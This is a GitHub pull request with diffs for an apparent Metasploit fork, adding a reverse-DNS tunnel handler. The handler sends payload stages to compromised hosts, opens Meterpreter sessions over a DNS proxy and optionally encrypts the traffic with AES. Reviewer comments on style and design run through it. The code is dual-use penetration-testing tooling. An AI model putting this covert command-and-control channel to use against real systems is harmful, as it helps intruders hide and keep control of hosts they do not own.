Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Latest changes from defcon russia for dns transport #23

Open
wants to merge 15 commits into
base: rebase-defcon_ru-dns_transport
Choose a base branch
from
2 changes: 1 addition & 1 deletion lib/msf/base/sessions/command_shell.rb
Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,7 @@ def shell_command(cmd)
# Send the command to the session's stdin.
shell_write(cmd + "\n")

timeo = 20*60
timeo = 5
etime = ::Time.now.to_f + timeo
buff = ""

Expand Down
2 changes: 1 addition & 1 deletion lib/msf/base/sessions/meterpreter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -261,7 +261,7 @@ def shell_command(cmd)
# Keep reading data until no more data is available or the timeout is
# reached.
while (::Time.now.to_f < etime)
res = shell_readshell_read(-1, timeout)
res = shell_read(-1, timeout)
break unless res
timeout = etime - ::Time.now.to_f
buff << res
Expand Down
262 changes: 154 additions & 108 deletions lib/msf/core/handler/reverse_dns.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,8 @@ module Handler

###
#
# This module implements the Bind TCP handler. This means that
# it will attempt to connect to a remote host on a given port for a period of
# This module implements the reverse DNS handler. This means that
# it will attempt to connect to a remote DNS-Proxy host on a given port for a period of
# time (typically the duration of an exploit) to see if a the payload has
# started listening. This can tend to be rather verbose in terms of traffic
# and in general it is preferable to use reverse payloads.
Expand All @@ -17,7 +17,7 @@ module ReverseDns

#
# Returns the handler specific string representation, in this case
# 'bind_tcp'.
# 'reverse_dns'.
#
def self.handler_type
return "reverse_dns"
Expand All @@ -41,9 +41,11 @@ def initialize(info = {})
[
Opt::LPORT(4444),
OptString.new('DOMAIN', [true, 'DOMAIN', '']),
OptString.new('SERVER_ID', [true, 'SERVER ID', 'pipiska']),
OptAddress.new('RHOST', [true, 'HANDLER BIND IP', '']),
OptString.new('SERVER_ID', [true, 'SERVER ID', 'toor']),
OptEnum.new('REQ_TYPE', [ true, 'Type of DNS tunnel', 'DNSKEY', ['IPv6', 'DNSKEY']]),
OptAddress.new('RHOST', [true, 'DNX PROXY IP', '']),
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

"DNS proxy IP" - though i suggest "DNS Server IP" since i'm working toward a native handler as well

OptAddress.new('NS_IP', [false, 'NS SERVER IP', '']),

], Msf::Handler::ReverseDns)

self.conn_threads = []
Expand Down Expand Up @@ -80,9 +82,8 @@ def add_handler(opts={})
# Starts monitoring for an outbound connection to become established.
#
def start_handler

# Maximum number of seconds to run the handler
ctimeout = 5
ctimeout = 10

if (exploit_config and exploit_config['active_timeout'])
ctimeout = exploit_config['active_timeout'].to_i
Expand All @@ -92,133 +93,178 @@ def start_handler
rhost = datastore['RHOST']
lport = datastore['LPORT']
server_id = datastore['SERVER_ID']
req_type = datastore['REQ_TYPE']

# Ignore this if one of the required options is missing
return if not rhost
return if not lport
return if not server_id
return if not req_type

# Only try the same host/port combination once
phash = rhost + ':' + lport.to_s
return if self.listener_pairs[phash]
self.listener_pairs[phash] = true

# Start a new handling thread
self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) {
self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) {
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

DnsProxyHandler?

client = nil

print_status("Started bind handler")
print_status("Started bind-DNS handler")
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

DNS-proxy handler?


if (rhost == nil)
raise ArgumentError,
"RHOST is not defined; bind stager cannot function.",
caller
end

stime = Time.now.to_i

while (stime + ctimeout > Time.now.to_i)
begin
client = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => lport.to_i,
'Proxies' => datastore['Proxies'],
'Context' =>
{
'Msf' => framework,
'MsfPayload' => self,
'MsfExploit' => assoc_exploit
})
rescue Rex::ConnectionRefused
# Connection refused is a-okay
rescue ::Exception
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
end

break if client

# Wait a second before trying again
Rex::ThreadSafe.sleep(0.5)
end

# Valid client connection?
if (client)
# Increment the has connection counter
self.pending_connections += 1

# Timeout and datastore options need to be passed through to the client
opts = {
:datastore => datastore,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:timeout => 60*20
}

# Start a new thread and pass the client connection
# as the input and output pipe. Client's are expected
# to implement the Stream interface.
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
begin
client_copy.put([server_id.length].pack("C") + server_id)
handle_connection(wrap_aes_socket(client_copy), opts)
rescue
elog("Exception raised from BindTcp.handle_connection: #{$!}")
current_name = "STAGE"
loop do
begin
session = nil

#If last connection has a valid session or died
if (framework.sessions.length > 0)

framework.sessions.each_sorted do |k|
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm a bit confused on the logic here - you end up with "session" being the last session in the sorted list, so why not just sessions.sort.last?

session = framework.sessions[k]
end
current_name = session.machine_id.to_s
else
current_name = "STAGE"
end

stime = Time.now.to_i

if (current_name != "")

while (stime + ctimeout > Time.now.to_i)
begin
client = Rex::Socket::Tcp.create(
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might as well use UDP here if we're instantiating a socket for every call. If i can get native DNS to work, this wont be an issue, but session-channels may be an appropriate mechanism for this proxy semantic.

'PeerHost' => rhost,
'PeerPort' => lport.to_i,
'Proxies' => datastore['Proxies'],
'Context' =>
{
'Msf' => framework,
'MsfPayload' => self,
'MsfExploit' => assoc_exploit
})
rescue Rex::ConnectionRefused
# Connection refused is a-okay

rescue ::Exception
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
end

break if client

# Wait a second before trying again
Rex::ThreadSafe.sleep(0.5)
end

# Valid client connection?
if (client)

# Increment the has connection counter
self.pending_connections += 1

# Timeout and datastore options need to be passed through to the client
opts = {
:datastore => datastore,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => 60*60*24,
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggest pulling this from the datastore - tunable.

:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:timeout => 60*20,
:send_keepalives => false
}


# Start a new thread and pass the client connection
# as the input and output pipe. Client's are expected
# to implement the Stream interface.
conn_threads << framework.threads.spawn("BindDnsHandlerSession", false, client) { |client_copy|
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

client_copy is a bit of a misnomer here - its the original object being passed into the thread. Example:

2.4.2 :001 > a = []; Thread.new(a) {|b| b << 1}
 => #<Thread:0x00000033659320b8@(irb):1 run> 
2.4.2 :002 > a
 => [1] 

If you dont want the original object, client.clone/dup/etc does the trick

begin

nosess = false
#SEND SERVER_ID
client_copy.put([server_id.length].pack("C") + server_id)
conn = client_copy
#First connect, stage is needed? (or it not the first session and stage alredy there..
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm thinking there's a more graceful way to do this (and i dont just mean replacing strings with symbols)... will get back to this once i have a rational plan :).

# or it is a stageless payload)
if (current_name == "STAGE" and self.payload_type != Msf::Payload::Type::Single)
if respond_to? :include_send_uuid
if include_send_uuid
uuid_raw = conn.get_once(16, 1)
if uuid_raw
opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw})
end
end
end
p = generate_stage(opts)
# Encode the stage if stage encoding is enabled
begin
p = encode_stage(p)
rescue ::RuntimeError
warning_msg = "Failed to stage"
warning_msg << " (#{conn.peerhost})" if conn.respond_to? :peerhost
warning_msg << ": #{$!}"
print_warning warning_msg
if conn.respond_to? :close && !conn.closed?
conn.close
end
nosess = true
end

# Give derived classes an opportunity to an intermediate state before
# the stage is sent. This gives derived classes an opportunity to
# augment the stage and the process through which it is read on the
# remote machine.
#
# If we don't use an intermediate stage, then we need to prepend the
# stage prefix, such as a tag
if handle_intermediate_stage(conn, p) == false
p = (self.stage_prefix || '') + p
end

sending_msg = "Sending #{encode_stage? ? "encoded ":""}stage"
sending_msg << " (#{p.length} bytes)"
# The connection should always have a peerhost (even if it's a
# tunnel), but if it doesn't, erroring out here means losing the
# session, so make sure it does, just to be safe.
if conn.respond_to? :peerhost
sending_msg << " to #{conn.peerhost}"
end
print_status(sending_msg)

# Send the stage
conn.put(p)
end

#Start the session
handle_connection(conn, opts)

self.send_keepalives = false

rescue
elog("Exception raised from BindDns.handle_connection: #{$!}")
end
}
Rex::ThreadSafe.sleep(5)
else
wlog("No connection received before the handler completed")
end
else

Rex::ThreadSafe.sleep(5)
end
}
else
wlog("No connection received before the handler completed")
end
end
}
end

def wrap_aes_socket(sock)
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
return sock
end

socks = Rex::Socket::tcp_socket_pair()
socks[0].extend(Rex::Socket::Tcp)
socks[1].extend(Rex::Socket::Tcp)

m = OpenSSL::Digest.new('md5')
m.reset
key = m.digest(datastore["AESPassword"] || "")

Rex::ThreadFactory.spawn('AESEncryption', false) {
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c1.encrypt
c1.key=key
sock.put([0].pack('N'))
sock.put(c1.iv=c1.random_iv)
buf1 = socks[0].read(4096)
while buf1 and buf1 != ""
sock.put(c1.update(buf1))
buf1 = socks[0].read(4096)
end
sock.close()
}

Rex::ThreadFactory.spawn('AESEncryption', false) {
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
c2.decrypt
c2.key=key
iv=""
while iv.length < 16
iv << sock.read(16-iv.length)
end
c2.iv = iv
buf2 = sock.read(4096)
while buf2 and buf2 != ""
socks[0].put(c2.update(buf2))
buf2 = sock.read(4096)
end
socks[0].close()
}

return socks[1]
end


#
# Nothing to speak of.
Expand Down
30 changes: 18 additions & 12 deletions lib/msf/core/opt.rb
Original file line number Diff line number Diff line change
Expand Up @@ -30,17 +30,21 @@ def self.CPORT(default=nil, required=false, desc="The local client port")
def self.LHOST(default=nil, required=true, desc="The listen address")
Msf::OptAddressLocal.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptAddress]
def self.DOMAIN(default=nil, required=true, desc="The listen address")
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
# @return [OptAddress]
def self.DOMAIN(default=nil, required=true, desc="Domain name")
Msf::OptString.new(__method__.to_s, [ required, desc, default ])
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Clever hackery, not sure if this is the best way to implement since every module load would instantiate these opts for every domain name. Also not sure about using a name such as "default" for anything. Still though, clever :)

end

# @return [OptAddress]
def self.NS_IP(default=nil, required=true, desc="The listen address")

# @return [OptEnum]
def self.REQ_TYPE(default=nil, required=true, desc="Domain name")
Msf::OptEnum.new(__method__.to_s, [ required, desc, 'DNSKEY', ['IPv6', 'DNSKEY']])
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

^^

end
# @return [OptAddress]
def self.NS_IP(default=nil, required=true, desc="Name server adddress")
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptPort]
def self.LPORT(default=nil, required=true, desc="The listen port")
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
Expand Down Expand Up @@ -73,8 +77,9 @@ class << self
alias builtin_chost CHOST
alias builtin_cport CPORT
alias builtin_lhost LHOST
alias builtin_domain DOMAIN
alias builtin_ns_ip NS_IP
alias builtin_domain DOMAIN
alias builtin_ns_ip NS_IP
alias builtin_req_type REQ_TYPE
alias builtin_lport LPORT
alias builtin_proxies Proxies
alias builtin_rhost RHOST
Expand All @@ -84,8 +89,9 @@ class << self
CHOST = CHOST()
CPORT = CPORT()
LHOST = LHOST()
DOMAIN = DOMAIN()
NS_IP = NS_IP()
DOMAIN = DOMAIN()
NS_IP = NS_IP()
REQ_TYPE = REQ_TYPE()
LPORT = LPORT()
Proxies = Proxies()
RHOST = RHOST()
Expand Down
Loading